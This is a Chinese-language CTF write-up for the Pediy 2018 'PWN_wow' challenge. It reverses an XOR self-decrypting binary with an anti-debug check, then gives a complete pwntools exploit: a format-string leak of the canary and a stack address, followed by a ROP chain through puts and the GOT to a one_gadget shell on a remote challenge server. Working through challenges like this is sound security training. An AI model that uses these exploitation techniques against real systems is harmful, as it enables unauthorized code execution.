-
-
[原创]第三题 PWN_wow WriteUp
-
2018-6-20 15:18 2318
-
Pediy CTF 2018 - PWN_wow WriteUp
这道Pwn题……应该是分两个阶段,逆向和Pwn
0x01 Reverse
首先可以发现test函数将自己ptrace了,从而无法挂上调试器。Patch掉之后可以调试。
分析main函数可以发现大量的意义不明指令,调试上去跑一下,发现程序首先mprotect了代码段,改成可读可写可执行,然后读入6个字符,在第i个阶段将第i个字符和指令字异或,阶段完后将第i+1个字符与之前的字符异或作为新的被异或字符(有点绕),一共6个阶段。
我一开始的想法是爆破字节,寻找合法的指令。
爆破脚本:(第一阶段)
from pwn import * def xor(a, b): res = "" for i in a: res += chr(i ^ b) return res data1 = [ 0x2D, 0xE8, 0x61, 0x6D, 0x2D, 0x48, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, 0xEF, 0x79, 0x6D, 0x55, 0xB6, 0xED, 0x79, 0x6D, 0x2D, 0x9A, 0xA4, 0x2D, 0xE6, 0x9C, 0x45, 0x19, 0x8A, 0x2D, 0x60, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, 0xEF, 0x71, 0x6B, 0x2D, 0x9A, 0xA3, 0x57, 0x71, 0x6B] f = open("asm.txt", "w") for i in range(255): f.write(str(i) + '\n') f.write(disasm(xor(data1, i)) + "\n")
得到一大堆的汇编,拿头怼了一会儿,发现i = 101的指令似乎是合法的:
0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d 80 00 00 00 sub rax,0x80 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 05 80 00 00 00 add rax,0x80 24: 48 31 c9 xor rcx,rcx 27: 8a 14 0e mov dl,BYTE PTR [rsi+rcx*1] 2a: 48 ff c6 inc rsi 2d: 32 14 0e xor dl,BYTE PTR [rsi+rcx*1]
101对应的字符是e,输入e过了第一阶段。
逆了一会儿,觉得这个方法效率太低,就寻找其他的方法,发现待异或数据中有这样的数据:
0x48, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, ……, 0xE6, 0x9C, 0x45, 0x19, 0x8A, 0x2D, 0x60, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, ……
汇编指令中最常出现的字节是0x00,而且经常作为立即数出现,不满4字节的数字中必然出现多个0x00,任何数字异或本身都是0,所以这个0x65就是要找的字符。
同理去寻找下面5段,找到需要的数是0x13, 0x4b, 0x25, 0x44, 0x0f, 两两异或得到需要的字符是v X n a K,所以输入的六个字符是evXanK。
过掉这一阶段以后进入pwn的阶段。
0x02 Pwn
过了前面会输出一个wow,然后允许用户输入。
第一次的输入会直接作为printf的参数来输出,存在格式化字符串漏洞。第二次可以输入0x200个字符,存在栈溢出。
这里的打法还是比较常规的,格式化字符串泄露Canary,栈溢出ROP拿shell。不过有一个坑点,就是程序在解密了代码之后又加密了回去,导致再调一次main函数去获得输入点的方法不可行。解决方案是在格式化字符串漏洞利用的时候获取一个栈地址,手动调好rbp,然后直接返回到main函数最后输入的地方。
EXP:
from pwn import * context(arch = 'amd64') #p = process("./wow") p = remote("139.199.99.130", 65188) elf = ELF("./wow") payload = chr(101) + chr(0x13 ^ 101) + chr(0x13 ^ 0x4b) + chr(0x25 ^ 0x4b) + chr(0x44 ^ 0x25) + chr(0x0f ^ 0x44) print payload p.send(payload) p.recvuntil("wow!\n") p.sendline("%13$llx+%23$llx") canary = int(p.recvuntil('+')[:-1], 16) print "[+] Canary: %x" % canary stack_addr = int(p.recvline().strip(), 16) print "[+] Stack: %x" % stack_addr puts_plt = 0x400580 puts_got = 0x601018 pop_rdi = 0x400b23 ret_to_addr = 0x400a5e payload = "A" * 88 payload += p64(canary) payload += p64(stack_addr - (0x560 - 0x488 - 0x40)) payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(ret_to_addr) raw_input() p.send(payload) puts_addr = u64(p.recvline().strip().ljust(8, '\x00')) print "[+] puts_addr: %x" % puts_addr one_addr = puts_addr - 0x6f690 + 0x45216 payload = "\x00" * 56 payload += p64(canary) payload += p64(0) payload += p64(one_addr) p.sendline(payload) p.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界